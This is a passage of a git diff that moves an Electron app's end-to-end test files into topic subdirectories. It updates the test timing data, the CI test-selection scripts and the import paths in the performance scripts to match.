"tests/tools/omp-close-lifecycle.test.mjs": 403, "tests/tools/omp-config-root-relay-shell.test.mjs": 297, "tests/tools/relay-bench/phone-e2ee-desktop-parity.test.mjs": 111, @@ -4481,236 +4470,99 @@ ], "overheadMs": 0, "timings": { - "tests/e2e/activity-agent-pane-isolation.spec.ts": 102400, - "tests/e2e/add-project-default-checkout.spec.ts": 41600, - "tests/e2e/agent-dashboard-status-burst.spec.ts": 16900, - "tests/e2e/agent-descendant-process-kill.spec.ts": 14800, - "tests/e2e/agent-session-live-force-exit-resume.spec.ts": 31800, - "tests/e2e/agent-session-log-tail-stability.spec.ts": 78000, - "tests/e2e/agent-session-quit-resume.spec.ts": 27800, - "tests/e2e/ai-vault-session-delete.spec.ts": 29800, - "tests/e2e/app-menu-paste-ownership.spec.ts": 31900, - "tests/e2e/artificial-opencode-terminal-load.spec.ts": 230300, - "tests/e2e/automation-hidden-terminal-first-mount.spec.ts": 15100, - "tests/e2e/browser-embedded-owner-routing.spec.ts": 20900, - "tests/e2e/browser-fedcm-fallback.spec.ts": 15100, - "tests/e2e/browser-guest-attachment-validation.spec.ts": 16900, - "tests/e2e/browser-guest-crash-recovery.spec.ts": 123200, - "tests/e2e/browser-local-https-certificate-trust.spec.ts": 19500, - "tests/e2e/browser-tab.spec.ts": 175700, - "tests/e2e/chinese-ime-chat-input-repro.spec.ts": 49200, - "tests/e2e/combined-diff-invalidation-freeze-repro.spec.ts": 101900, - "tests/e2e/completed-worker-retirement-resume.spec.ts": 40400, - "tests/e2e/daemon-generation-legacy-close-safety.spec.ts": 5300, - "tests/e2e/daemon-lifecycle-retirement.spec.ts": 222, - "tests/e2e/daemon-live-session-preservation.spec.ts": 20700, - "tests/e2e/daemon-slow-health-check-preservation.spec.ts": 23700, - "tests/e2e/daemon-slow-init-pty-gate.spec.ts": 20700, - "tests/e2e/default-branch-visibility.spec.ts": 14800, + "tests/e2e/agents/session-lifecycle/agent-descendant-process-kill.spec.ts": 14800, + "tests/e2e/activity/ai-vault-session-delete.spec.ts": 29800, + "tests/e2e/desktop/clipboard/app-menu-paste-ownership.spec.ts": 31900, + "tests/e2e/terminal/lifecycle/automation-hidden-terminal-first-mount.spec.ts": 15100, + "tests/e2e/browser/guest-lifecycle/browser-embedded-owner-routing.spec.ts": 20900, + "tests/e2e/browser/security/browser-fedcm-fallback.spec.ts": 15100, + "tests/e2e/browser/guest-lifecycle/browser-guest-crash-recovery.spec.ts": 123200, + "tests/e2e/browser/input-navigation/browser-tab.spec.ts": 175700, + "tests/e2e/desktop/daemon-lifecycle/daemon-lifecycle-retirement.spec.ts": 222, + "tests/e2e/workspaces/lifecycle/default-branch-visibility.spec.ts": 14800, "tests/e2e/dictation-indicator.spec.ts": 14900, - "tests/e2e/diff-note-delete.spec.ts": 18700, - "tests/e2e/diff-note-edit.spec.ts": 20900, - "tests/e2e/droid-notification.spec.ts": 65000, - "tests/e2e/editable-context-paste-ownership.spec.ts": 15700, - "tests/e2e/electron-home-isolation.spec.ts": 12800, - "tests/e2e/ephemeral-vm-cleanup-retry.spec.ts": 26800, + "tests/e2e/desktop/clipboard/editable-context-paste-ownership.spec.ts": 15700, + "tests/e2e/desktop/startup-recovery/electron-home-isolation.spec.ts": 12800, + "tests/e2e/remote/ssh-hosts/ephemeral-vm-cleanup-retry.spec.ts": 26800, "tests/e2e/feature-wall.spec.ts": 101800, - "tests/e2e/file-explorer-watch-refresh.spec.ts": 17700, - "tests/e2e/finished-agent-ghost-resume.spec.ts": 19100, - "tests/e2e/floating-tab-rename.spec.ts": 56200, - "tests/e2e/folder-setup-shallow-priority.spec.ts": 50100, - "tests/e2e/folder-setup.spec.ts": 56200, + "tests/e2e/layout/window-tabs/floating-tab-rename.spec.ts": 56200, "tests/e2e/git-no-upstream-polling-churn.spec.ts": 22600, "tests/e2e/github-cli-stall-repro.spec.ts": 18200, - "tests/e2e/github-url-smart-input-transition.spec.ts": 58200, - "tests/e2e/golden-agent-tui-launch.spec.ts": 27300, - "tests/e2e/golden-file-open-edit-save.spec.ts": 25000, - "tests/e2e/golden-fresh-profile-terminal.spec.ts": 24400, + "tests/e2e/golden-journeys/golden-agent-tui-launch.spec.ts": 27300, + "tests/e2e/golden-journeys/golden-file-open-edit-save.spec.ts": 25000, + "tests/e2e/golden-journeys/golden-fresh-profile-terminal.spec.ts": 24400, "tests/e2e/golden-posix-fresh-startup.spec.ts": 4900, - "tests/e2e/golden-posix-profile-index-fsync.spec.ts": 4900, - "tests/e2e/golden-quit-relaunch-session.spec.ts": 29700, - "tests/e2e/golden-shell-after-agent-exit.spec.ts": 28300, - "tests/e2e/golden-shell-command.spec.ts": 15400, - "tests/e2e/golden-source-control-commit.spec.ts": 19100, - "tests/e2e/golden-source-control-open-diff.spec.ts": 20900, - "tests/e2e/golden-tab-bar-agent-launch.spec.ts": 54100, - "tests/e2e/golden-terminal-file-link.spec.ts": 43300, - "tests/e2e/golden-worktree-create-switch.spec.ts": 29100, - "tests/e2e/grok-hook-session-cleanup.spec.ts": 7700, - "tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts": 58000, - "tests/e2e/headless-serve-cli-terminal-retention-parity.spec.ts": 25300, - "tests/e2e/headless-serve-desktop-activation.spec.ts": 16700, + "tests/e2e/golden-journeys/golden-posix-profile-index-fsync.spec.ts": 4900, + "tests/e2e/golden-journeys/golden-shell-after-agent-exit.spec.ts": 28300, + "tests/e2e/golden-journeys/golden-shell-command.spec.ts": 15400, + "tests/e2e/golden-journeys/golden-source-control-commit.spec.ts": 19100, + "tests/e2e/golden-journeys/golden-source-control-open-diff.spec.ts": 20900, + "tests/e2e/golden-journeys/golden-tab-bar-agent-launch.spec.ts": 54100, + "tests/e2e/golden-journeys/golden-worktree-create-switch.spec.ts": 29100, + "tests/e2e/agents/session-lifecycle/grok-hook-session-cleanup.spec.ts": 7700, + "tests/e2e/remote/paired-runtime/workspace-routing/headless-serve-desktop-activation.spec.ts": 16700, "tests/e2e/headless-serve-focused-terminal-create.spec.ts": 13200, - "tests/e2e/host-parked-pane-remote-viewer.spec.ts": 144000, - "tests/e2e/korean-ime-terminal-shift-enter-commit.spec.ts": 104400, - "tests/e2e/landing-preflight-runtime-routing.spec.ts": 11000, - "tests/e2e/large-diff-freeze-repro.spec.ts": 35800, "tests/e2e/linear-filter-chip-labels.spec.ts": 29800, - "tests/e2e/linear-issue-view-persistence.spec.ts": 198000, - "tests/e2e/linear-url-workspace-entry.spec.ts": 73500, + "tests/e2e/integrations/linear/linear-url-workspace-entry.spec.ts": 73500, "tests/e2e/live-background-terminal-mount-authority.spec.ts": 33300, - "tests/e2e/local-cli-terminal-retention.spec.ts": 18300, - "tests/e2e/local-worktree-visibility-runtime-active.spec.ts": 14700, - "tests/e2e/manual-worktree-order-persistence.spec.ts": 36100, - "tests/e2e/markdown-nested-toggle.spec.ts": 50700, - "tests/e2e/mobile-banner.spec.ts": 89300, - "tests/e2e/multi-client-navigation-isolation.spec.ts": 99900, - "tests/e2e/native-chat-ask-user-question-card.spec.ts": 23600, - "tests/e2e/native-chat-first-flush-race.spec.ts": 22700, - "tests/e2e/native-chat-history-prepend-anchor.spec.ts": 29400, - "tests/e2e/new-workspace-create-more.spec.ts": 36300, - "tests/e2e/new-workspace-cross-project-dialog.spec.ts": 17100, - "tests/e2e/new-workspace-linked-item-project-switch.spec.ts": 45200, - "tests/e2e/orchestration-idle-mail-delivery.spec.ts": 220800, - "tests/e2e/orchestration-idle-mail-restore.spec.ts": 27000, - "tests/e2e/orchestration-legacy-worker-missing-terminal-recovery.spec.ts": 22200, + "tests/e2e/workspaces/lifecycle/local-worktree-visibility-runtime-active.spec.ts": 14700, + "tests/e2e/editor/markdown/markdown-nested-toggle.spec.ts": 50700, + "tests/e2e/workspaces/project-admission/new-workspace-cross-project-dialog.spec.ts": 17100, + "tests/e2e/workspaces/project-admission/new-workspace-linked-item-project-switch.spec.ts": 45200, "tests/e2e/orchestration-legacy-worker-restart-recovery.spec.ts": 50700, - "tests/e2e/orchestration-low-level-dispatch-release.spec.ts": 15000, - "tests/e2e/orchestration-worker-settlement-release-cli.spec.ts": 18100, - "tests/e2e/orchestration-worker-terminal-visibility.spec.ts": 53200, - "tests/e2e/orchestration-worker-transcript-providers.spec.ts": 54700, - "tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts": 21600, - "tests/e2e/paired-cli-terminal-graph-sync-tab-retention.spec.ts": 42600, - "tests/e2e/paired-client-hosted-browser-cookie-survival.spec.ts": 20100, - "tests/e2e/paired-client-hosted-browser-double-restart.spec.ts": 45800, - "tests/e2e/paired-client-hosted-browser-ghost-close.spec.ts": 48600, - "tests/e2e/paired-client-hosted-browser-host-strip.spec.ts": 23300, - "tests/e2e/paired-client-hosted-browser-quit-survival.spec.ts": 145700, - "tests/e2e/paired-client-hosted-browser-restart-survival.spec.ts": 20700, - "tests/e2e/paired-client-hosted-browser-title-hold.spec.ts": 24300, - "tests/e2e/paired-client-hosted-browser.spec.ts": 53000, - "tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts": 53300, "tests/e2e/paired-external-worktree-discovery.spec.ts": 19300, - "tests/e2e/paired-instant-browser-tab.spec.ts": 191700, - "tests/e2e/paired-preview-address-bar-convergence.spec.ts": 162000, "tests/e2e/paired-quick-open-large-tree.spec.ts": 26300, - "tests/e2e/paired-remote-browser-ghost-subscriber-rejoin.spec.ts": 22600, + "tests/e2e/browser/remote-hosted/paired-remote-browser-ghost-subscriber-rejoin.spec.ts": 22600, "tests/e2e/paired-remote-browser-link-open-routing.spec.ts": 78000, - "tests/e2e/paired-remote-browser-stream-reconnect.spec.ts": 57200, - "tests/e2e/paired-remote-html-preview-local-render.spec.ts": 262700, - "tests/e2e/paired-remote-pane-layout-retry.spec.ts": 28200, - "tests/e2e/paired-remote-split-pane-host-retired-ghost.spec.ts": 20000, - "tests/e2e/paired-remote-terminal-browser-link.spec.ts": 78000, - "tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts": 35600, - "tests/e2e/paired-remote-terminal-materialization-reconnect.spec.ts": 27100, - "tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts": 39700, - "tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts": 28300, - "tests/e2e/paired-skill-installation.spec.ts": 26500, - "tests/e2e/paired-split-pane-browser-placement.spec.ts": 85900, - "tests/e2e/paired-startup-exec-readiness.spec.ts": 6000, - "tests/e2e/persisted-session-production-upgrade.spec.ts": 26700, + "tests/e2e/remote/paired-runtime/workspace-routing/paired-startup-exec-readiness.spec.ts": 6000, "tests/e2e/pet-status-segment-layout.spec.ts": 25100, - "tests/e2e/pi-ui-prompt-status.spec.ts": 21100, - "tests/e2e/plugin-demo.spec.ts": 26600, - "tests/e2e/plugin-panel-containment.spec.ts": 50300, "tests/e2e/plugin-startup-budget.spec.ts": 20400, - "tests/e2e/pr11346-selected-runtime-add.spec.ts": 33800, - "tests/e2e/project-group-creation-visibility.spec.ts": 132000, - "tests/e2e/project-group-manual-sort.spec.ts": 100300, - "tests/e2e/pty-snapshot-capability-main-stall.spec.ts": 16100.000000000002, + "tests/e2e/remote/paired-runtime/workspace-routing/pr11346-selected-runtime-add.spec.ts": 33800, + "tests/e2e/workspaces/project-admission/project-group-manual-sort.spec.ts": 100300, "tests/e2e/quick-open-file-paths.spec.ts": 22800, - "tests/e2e/remote-session-bulk-open-freeze-repro.spec.ts": 51500, - "tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts": 43600, - "tests/e2e/renderer-crash-recovery-terminal-input.spec.ts": 34500, + "tests/e2e/desktop/startup-recovery/renderer-crash-recovery-terminal-input.spec.ts": 34500, "tests/e2e/repo-icon-emoji-picker.spec.ts": 22900, "tests/e2e/resource-manager-unbound-session-safety.spec.ts": 18700, - "tests/e2e/resource-usage-warm-reattach.spec.ts": 18700, - "tests/e2e/restart-restore-terminal-input.spec.ts": 77800, - "tests/e2e/rich-markdown-inline-image.spec.ts": 55200, + "tests/e2e/desktop/startup-recovery/restart-restore-terminal-input.spec.ts": 77800, + "tests/e2e/editor/markdown/rich-markdown-inline-image.spec.ts": 55200, "tests/e2e/right-sidebar-windows-titlebar.spec.ts": 14600, - "tests/e2e/runtime-host-status-recovery.spec.ts": 156000, - "tests/e2e/settings-agent-awake.spec.ts": 33400, - "tests/e2e/settings-display-name-ime.spec.ts": 18100, + "tests/e2e/agents/settings/settings-agent-awake.spec.ts": 33400, "tests/e2e/settings-search-responsiveness.spec.ts": 15600, "tests/e2e/settings-skill-detection.spec.ts": 21800, - "tests/e2e/settled-worker-tab-survives-restart.spec.ts": 62400, "tests/e2e/setup-guide-sidebar.spec.ts": 6800, - "tests/e2e/setup-script-import.spec.ts": 57600, - "tests/e2e/setup-script-prompt-unreadable-orca-yaml.spec.ts": 19100, - "tests/e2e/sidebar-agent-row-identity.spec.ts": 16700, - "tests/e2e/slept-workspace-remount-wake.spec.ts": 31000, - "tests/e2e/source-control-commit-draft-persistence.spec.ts": 16400, - "tests/e2e/source-control-commit-message-ai.spec.ts": 50900, + "tests/e2e/source-control/source-control-commit-message-ai.spec.ts": 50900, "tests/e2e/source-control-create-pr-intent-notice-layout.spec.ts": 16900, - "tests/e2e/source-control-create-pr-intent-switch.spec.ts": 41000, - "tests/e2e/source-control-create-pr.spec.ts": 37500, - "tests/e2e/source-control-discard-confirmation.spec.ts": 25900, - "tests/e2e/source-control-large-file-count.spec.ts": 54700, - "tests/e2e/source-control-pr-generation-switch.spec.ts": 146600, - "tests/e2e/source-control-pr-linked-issue-ai.spec.ts": 34200, - "tests/e2e/ssh-config-host-import.spec.ts": 204600, - "tests/e2e/ssh-config-host-picker.spec.ts": 206600, - "tests/e2e/ssh-host-form-modal.spec.ts": 94700, + "tests/e2e/source-control/source-control-create-pr.spec.ts": 37500, + "tests/e2e/source-control/source-control-discard-confirmation.spec.ts": 25900, + "tests/e2e/source-control/source-control-pr-generation-switch.spec.ts": 146600, + "tests/e2e/source-control/source-control-pr-linked-issue-ai.spec.ts": 34200, "tests/e2e/status-bar-caffeinate.spec.ts": 17900, - "tests/e2e/status-bar-session-count-management-kill.spec.ts": 26000, "tests/e2e/tab-close-navigation.spec.ts": 32100, "tests/e2e/tab-create-entry-file-paths.spec.ts": 23600, - "tests/e2e/tab-rename-paste-ownership.spec.ts": 15600, - "tests/e2e/tabs.spec.ts": 164500, - "tests/e2e/tasks-page.spec.ts": 90400, - "tests/e2e/terminal-cjk-ime-committed-text.spec.ts": 122400, - "tests/e2e/terminal-codex-hidden-startup-background.spec.ts": 17500, - "tests/e2e/terminal-codex-home.spec.ts": 14600, - "tests/e2e/terminal-column-desync-repro.spec.ts": 149400, + "tests/e2e/desktop/clipboard/tab-rename-paste-ownership.spec.ts": 15600, + "tests/e2e/layout/window-tabs/tabs.spec.ts": 164500, + "tests/e2e/terminal/lifecycle/terminal-codex-home.spec.ts": 14600, + "tests/e2e/terminal/rendering/terminal-column-desync-repro.spec.ts": 149400, "tests/e2e/terminal-context-menu-session-id.spec.ts": 20800, - "tests/e2e/terminal-duplicate-pty-renderer-reveal.spec.ts": 23000, - "tests/e2e/terminal-hangul-wrap-boundary-bytes.spec.ts": 107100, - "tests/e2e/terminal-hidden-child-tui-kill-mode-reset.spec.ts": 76200, - "tests/e2e/terminal-hidden-tui-visual-restore.spec.ts": 70600, - "tests/e2e/terminal-hidden-view-parking.spec.ts": 199400, - "tests/e2e/terminal-ime-exact-byte.spec.ts": 60400, - "tests/e2e/terminal-inline-tui-reveal-convergence.spec.ts": 309900, - "tests/e2e/terminal-korean-composing-chord-order.spec.ts": 16400, - "tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts": 29800, - "tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts": 45100, - "tests/e2e/terminal-korean-preedit-visibility.spec.ts": 62200, - "tests/e2e/terminal-large-paste-responsiveness.spec.ts": 15400, - "tests/e2e/terminal-link-click-ownership.spec.ts": 69100, - "tests/e2e/terminal-link-hover-after-worktree-return.spec.ts": 46600, - "tests/e2e/terminal-macos-system-key-remap.spec.ts": 97000, - "tests/e2e/terminal-opencode-emoji-table-rendering.spec.ts": 21600, - "tests/e2e/terminal-osc-color-queries.spec.ts": 14900, - "tests/e2e/terminal-osc8-cold-park-restore.spec.ts": 19000, - "tests/e2e/terminal-output-scheduler.spec.ts": 54700, - "tests/e2e/terminal-pane-close-layout-consistency.spec.ts": 128900, - "tests/e2e/terminal-pane-content-retention.spec.ts": 45100, - "tests/e2e/terminal-pane-split-identity.spec.ts": 81000, - "tests/e2e/terminal-pane-title-strip-placement.spec.ts": 62400, - "tests/e2e/terminal-parked-cli-split.spec.ts": 28900, - "tests/e2e/terminal-parked-close-retirement.spec.ts": 16300, - "tests/e2e/terminal-paste-ownership.spec.ts": 66100, - "tests/e2e/terminal-pinned-viewport-streaming-switch.spec.ts": 19400, - "tests/e2e/terminal-pinned-viewport-worktree-switch.spec.ts": 16700, - "tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts": 42100, - "tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts": 35800, - "tests/e2e/terminal-reattach-mouse-mode-leak.spec.ts": 22800, - "tests/e2e/terminal-reattach-tui-mouse-mode.spec.ts": 44200, - "tests/e2e/terminal-restart-persistence.spec.ts": 109600, - "tests/e2e/terminal-reveal-paused-render-repro.spec.ts": 31100, - "tests/e2e/terminal-scroll-intent-follow.spec.ts": 73200, + "tests/e2e/terminal/ime/terminal-korean-preedit-visibility.spec.ts": 62200, + "tests/e2e/terminal/links/terminal-link-click-ownership.spec.ts": 69100, + "tests/e2e/terminal/lifecycle/terminal-osc-color-queries.spec.ts": 14900, + "tests/e2e/terminal/layout/terminal-pane-content-retention.spec.ts": 45100, + "tests/e2e/terminal/layout/terminal-pane-split-identity.spec.ts": 81000, + "tests/e2e/terminal/retention/terminal-parked-close-retirement.spec.ts": 16300, + "tests/e2e/terminal/input/terminal-paste-ownership.spec.ts": 66100, + "tests/e2e/terminal/retention/terminal-restart-persistence.spec.ts": 109600, + "tests/e2e/terminal/lifecycle/terminal-scroll-intent-follow.spec.ts": 73200, "tests/e2e/terminal-send-agent-prompt-submit.spec.ts": 51400, - "tests/e2e/terminal-shortcuts.spec.ts": 91700, - "tests/e2e/terminal-sleep-wake-restore.spec.ts": 16800, - "tests/e2e/terminal-split-pane-paste-ownership.spec.ts": 30700, - "tests/e2e/terminal-stuck-occlusion-recovery.spec.ts": 15200, - "tests/e2e/terminal-tab-close-restart-persistence.spec.ts": 22800, - "tests/e2e/terminal-tab-close-running-confirm-mouse.spec.ts": 57100, - "tests/e2e/terminal-tab-close-running-confirm.spec.ts": 27500, - "tests/e2e/terminal-tab-switch-sigwinch-restore.spec.ts": 30400, - "tests/e2e/terminal-tab-switch-visual-restore.spec.ts": 90300, - "tests/e2e/terminal-tui-wheel-drain.spec.ts": 528000, - "tests/e2e/terminal-tui-wheel-reports.spec.ts": 34400, - "tests/e2e/terminal-wedged-write-pipeline-recovery.spec.ts": 71900, - "tests/e2e/update-install-renderer-checkpoint-recovery.spec.ts": 14900, - "tests/e2e/windows-terminal-env-icons.spec.ts": 15400, - "tests/e2e/workspace-board-lane-virtualization.spec.ts": 107700, - "tests/e2e/workspace-session-corrupt-tab-salvage.spec.ts": 21100, - "tests/e2e/worktree-card-downward-drag.spec.ts": 60000, - "tests/e2e/worktree-delete-shortcut.spec.ts": 20600, - "tests/e2e/worktree-lifecycle.spec.ts": 44000, - "tests/e2e/worktree-recent-sort.spec.ts": 28400, - "tests/e2e/worktree-switch-responsiveness.spec.ts": 15100, - "tests/e2e/worktree.spec.ts": 118100 + "tests/e2e/terminal/input/terminal-shortcuts.spec.ts": 91700, + "tests/e2e/terminal/retention/terminal-sleep-wake-restore.spec.ts": 16800, + "tests/e2e/terminal/layout/terminal-split-pane-paste-ownership.spec.ts": 30700, + "tests/e2e/terminal/retention/terminal-tab-close-running-confirm-mouse.spec.ts": 57100, + "tests/e2e/terminal/retention/terminal-tab-close-running-confirm.spec.ts": 27500, + "tests/e2e/terminal/rendering/terminal-tab-switch-visual-restore.spec.ts": 90300, + "tests/e2e/terminal/lifecycle/terminal-wedged-write-pipeline-recovery.spec.ts": 71900, + "tests/e2e/terminal/input/windows-terminal-env-icons.spec.ts": 15400, + "tests/e2e/workspaces/sidebar/workspace-board-lane-virtualization.spec.ts": 107700 } } } diff --git a/config/scripts/ci/unit-selection/check-test-file-runners.mjs b/config/scripts/ci/unit-selection/check-test-file-runners.mjs index 2cd105cef7e..900b4d5e2f3 100644 --- a/config/scripts/ci/unit-selection/check-test-file-runners.mjs +++ b/config/scripts/ci/unit-selection/check-test-file-runners.mjs @@ -30,9 +30,9 @@ const NON_UNIT_TEST_RUNNERS = [ }, { name: 'computer-use e2e', - include: ['tests/e2e/computer-*.e2e.ts'], + include: ['tests/e2e/desktop/computer-use/computer-*.e2e.ts'], sources: ['tests/e2e/vitest.config.ts'], - mirrors: ["'tests/e2e/computer-*.e2e.ts'"] + mirrors: ["'tests/e2e/desktop/computer-use/computer-*.e2e.ts'"] }, { name: 'mobile', diff --git a/config/scripts/ci/unit-selection/dependency-graph/ci-unit-files.mjs b/config/scripts/ci/unit-selection/dependency-graph/ci-unit-files.mjs index 9fcc8da51bc..f15a3a201be 100644 --- a/config/scripts/ci/unit-selection/dependency-graph/ci-unit-files.mjs +++ b/config/scripts/ci/unit-selection/dependency-graph/ci-unit-files.mjs @@ -41,7 +41,6 @@ export const UNIT_EXCLUDE = [ 'src/shared/shell/wsl/fish-wsl-cwd-report.node-pty.test.ts', 'src/main/wsl/filesystem/wsl-sh-cwd-report.node-pty.test.ts', 'src/shared/terminal/pty/ingress/pty-reply-echo-shapes.node-pty.test.ts', - 'tests/e2e/relay-region-correction.unit.test.ts', 'src/main/browser/cookies/browser-google-cookie-clear.electron.test.ts', // Electron probes with in-process deadlines; the package job runs them serially. 'src/main/browser/guest-lifecycle/popups/presentation/popup-origin-chrome.electron.test.ts', diff --git a/config/scripts/ci/workflow-contracts/pr-auxiliary-preflight-admission.test.mjs b/config/scripts/ci/workflow-contracts/pr-auxiliary-preflight-admission.test.mjs index ba12915dada..f8b253e75f6 100644 --- a/config/scripts/ci/workflow-contracts/pr-auxiliary-preflight-admission.test.mjs +++ b/config/scripts/ci/workflow-contracts/pr-auxiliary-preflight-admission.test.mjs @@ -30,12 +30,10 @@ function createMobileCiScopeRepository() { 'package.json', 'config/scripts/workflow/source-routing/pr-code-change-scope.mjs', 'config/scripts/workflow/source-routing/pr-package-test-paths.mjs', - 'config/scripts/workflow/source-routing/pr-layout-oracle-route.mjs', 'config/scripts/workflow/source-routing/pr-shell-contract-prefixes.mjs', 'config/scripts/workflow/source-routing/pr-xterm-patch-prefixes.mjs', 'config/scripts/git/pr-diff-base/git-pull-request-diff-base.mjs', 'config/scripts/workflow/source-routing/pr-e2e-source-routing.mjs', - 'config/scripts/workflow/source-routing/pr-browser-e2e-source-routes.mjs', 'config/scripts/workflow/source-routing/pr-editor-preview-e2e-source-routes.mjs', 'config/scripts/workflow/source-routing/pr-feature-area-e2e-source-routes.mjs', 'config/scripts/workflow/source-routing/pr-plugin-e2e-source-routes.mjs', diff --git a/config/scripts/mobile-web/check-entry/mobile-release-check-scope.test.mjs b/config/scripts/mobile-web/check-entry/mobile-release-check-scope.test.mjs index c4ccfd20b4d..018f5ed7dca 100644 --- a/config/scripts/mobile-web/check-entry/mobile-release-check-scope.test.mjs +++ b/config/scripts/mobile-web/check-entry/mobile-release-check-scope.test.mjs @@ -40,7 +40,6 @@ function fixture(detectorStep = detector) { 'package.json', 'config/scripts/workflow/source-routing/pr-code-change-scope.mjs', 'config/scripts/workflow/source-routing/pr-package-test-paths.mjs', - 'config/scripts/workflow/source-routing/pr-layout-oracle-route.mjs', 'config/scripts/workflow/source-routing/pr-shell-contract-prefixes.mjs', 'config/scripts/workflow/source-routing/pr-xterm-patch-prefixes.mjs', 'config/scripts/mobile-web/check-entry/mobile-release-check-scope.mjs', diff --git a/config/scripts/mobile-web/check-entry/mobile-test-change-scope.mjs b/config/scripts/mobile-web/check-entry/mobile-test-change-scope.mjs index 86e483d7a57..0e0855829d4 100644 --- a/config/scripts/mobile-web/check-entry/mobile-test-change-scope.mjs +++ b/config/scripts/mobile-web/check-entry/mobile-test-change-scope.mjs @@ -10,7 +10,6 @@ const NON_TEST_FILES = new Set([ 'config/scripts/workflow/source-routing/pr-code-change-scope.mjs', 'config/scripts/workflow/source-routing/pr-package-test-paths.mjs', 'config/scripts/workflow/source-routing/pr-code-change-scope.test.mjs', - 'config/scripts/workflow/source-routing/pr-layout-oracle-route.mjs', 'config/scripts/workflow/source-routing/pr-shell-contract-prefixes.mjs', 'config/scripts/mobile-web/check-entry/mobile-release-check-scope.mjs', 'config/scripts/mobile-web/check-entry/mobile-release-check-scope.test.mjs', diff --git a/config/scripts/node-server/qualification/node-server-test-paths.mjs b/config/scripts/node-server/qualification/node-server-test-paths.mjs index a34975feb42..f0b77db3f9e 100644 --- a/config/scripts/node-server/qualification/node-server-test-paths.mjs +++ b/config/scripts/node-server/qualification/node-server-test-paths.mjs @@ -36,7 +36,6 @@ export function nodeServerTestPaths({ 'src/main/daemon/pty-subprocess/subprocess-handle.ts', ...(artifact ? [ - 'tests/e2e/daemon-running-work-probe.unit.test.ts', 'src/shared/terminal/pty/lifecycle/pty-running-work-probe.test.ts', 'src/main/orcad/native-runtime/orcad-packaged-node-pty.integration.test.ts', 'src/main/daemon/pty-subprocess/testing/agent-foreground-process-git-bash.win32.test.ts', diff --git a/config/scripts/performance/native-chat/native-chat-4a-arm.ts b/config/scripts/performance/native-chat/native-chat-4a-arm.ts index d841f8d8ed5..3873257f565 100644 --- a/config/scripts/performance/native-chat/native-chat-4a-arm.ts +++ b/config/scripts/performance/native-chat/native-chat-4a-arm.ts @@ -1,6 +1,6 @@ // One 4a arm: a built checkout, its own envelope/fingerprint builders, and background launches it alone stops by recorded PID. // Its AppStore import also declares the window.__store and window.api globals these page.evaluate callbacks use. -import type { AppStore } from '../../../../tests/e2e/helpers/runtime-types' +import type { AppStore } from '../../../../tests/e2e/desktop/renderer-probes/runtime-types' import { execFileSync } from 'node:child_process' import { randomUUID } from 'node:crypto' import { chmodSync, constants, cpSync, existsSync, mkdirSync, writeFileSync } from 'node:fs' @@ -15,12 +15,12 @@ import { import { createElectronHomeIsolation, assertElectronResolvedIsolatedHome -} from '../../../../tests/e2e/helpers/electron-home-isolation' -import { getOrcaElectronLaunchArgs } from '../../../../tests/e2e/helpers/electron-launch-args' -import { retryTransientMainEvaluate } from '../../../../tests/e2e/helpers/electron-main-evaluate-retry' -import { closeElectronAppForE2E } from '../../../../tests/e2e/helpers/electron-process-shutdown' -import { getE2ECompletedOnboardingProfile } from '../../../../tests/e2e/helpers/e2e-completed-onboarding-profile' -import { buildFakeAgentCommandOverride } from '../../../../tests/e2e/helpers/fake-agent-command-override' +} from '../../../../tests/e2e/desktop/electron-fixtures/electron-home-isolation' +import { getOrcaElectronLaunchArgs } from '../../../../tests/e2e/desktop/electron-fixtures/electron-launch-args' +import { retryTransientMainEvaluate } from '../../../../tests/e2e/desktop/electron-fixtures/electron-main-evaluate-retry' +import { closeElectronAppForE2E } from '../../../../tests/e2e/desktop/electron-fixtures/electron-process-shutdown' +import { getE2ECompletedOnboardingProfile } from '../../../../tests/e2e/desktop/electron-fixtures/e2e-completed-onboarding-profile' +import { buildFakeAgentCommandOverride } from '../../../../tests/e2e/agents/session-fixtures/fake-agent-command-override' import { verifyArmProvenance, type ArmProvenance, diff --git a/config/scripts/performance/native-chat/native-chat-4a-comparison.ts b/config/scripts/performance/native-chat/native-chat-4a-comparison.ts index eb0bb8e425e..487a243c512 100644 --- a/config/scripts/performance/native-chat/native-chat-4a-comparison.ts +++ b/config/scripts/performance/native-chat/native-chat-4a-comparison.ts @@ -68,7 +68,8 @@ async function main(): Promise { ) const { resolveArm, writeProviderStub } = await import('./native-chat-4a-arm') const { seedProfile, seedDirFor } = await import('./native-chat-4a-fixture') - const { createSeededTestRepo } = await import('../../../../tests/e2e/helpers/seeded-test-repo') + const { createSeededTestRepo } = + await import('../../../../tests/e2e/workspaces/repository-fixtures/seeded-test-repo') const scratch = path.join(out, 'scratch') mkdirSync(scratch, { recursive: true }) const arms: Arm[] = [] diff --git a/config/scripts/performance/native-chat/native-chat-4a-host-work.ts b/config/scripts/performance/native-chat/native-chat-4a-host-work.ts index 259a5eccb11..fd05315b94a 100644 --- a/config/scripts/performance/native-chat/native-chat-4a-host-work.ts +++ b/config/scripts/performance/native-chat/native-chat-4a-host-work.ts @@ -1,5 +1,5 @@ import type { ElectronApplication } from '@stablyai/playwright-test' -import { retryTransientMainEvaluate } from '../../../../tests/e2e/helpers/electron-main-evaluate-retry' +import { retryTransientMainEvaluate } from '../../../../tests/e2e/desktop/electron-fixtures/electron-main-evaluate-retry' export type HostWork = { processCpuMs: number diff --git a/config/scripts/performance/native-chat/native-chat-4a-probes.ts b/config/scripts/performance/native-chat/native-chat-4a-probes.ts index c19cdf6a0c2..4fc7d00db7e 100644 --- a/config/scripts/performance/native-chat/native-chat-4a-probes.ts +++ b/config/scripts/performance/native-chat/native-chat-4a-probes.ts @@ -2,7 +2,7 @@ import { readdirSync, statSync } from 'node:fs' import path from 'node:path' import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { summarizeEventLoopDelay } from '../../../../tests/e2e/helpers/event-loop-delay-report' +import { summarizeEventLoopDelay } from '../../../../tests/e2e/desktop/renderer-probes/event-loop-delay-report' export { installVisibilityProbe, watchMarkers } from './native-chat-4a-visibility' diff --git 